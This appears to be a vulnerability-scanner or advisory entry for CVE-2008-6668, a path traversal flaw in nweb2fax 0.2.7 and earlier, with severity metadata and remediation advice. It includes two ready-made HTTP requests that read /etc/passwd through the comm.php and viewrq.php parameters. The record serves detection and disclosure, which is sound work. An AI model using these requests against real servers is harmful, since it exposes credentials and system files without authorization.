| Title | nweb2fax <=0.2.7 - Local File Inclusion |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data. |
| Remediation | Upgrade to a patched version of nweb2fax or apply the necessary security patches provided by the vendor. |
| CVSS Score | 5 |
| EPSS Score | 0.00573 |
| CVE ID | CVE-2008-6668 |
| CWE ID | CWE-22 |
| Tags | cve cve2008 nweb2fax lfi traversal edb dirk_bartley vkev vuln |
nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.
GET /comm.php?id=../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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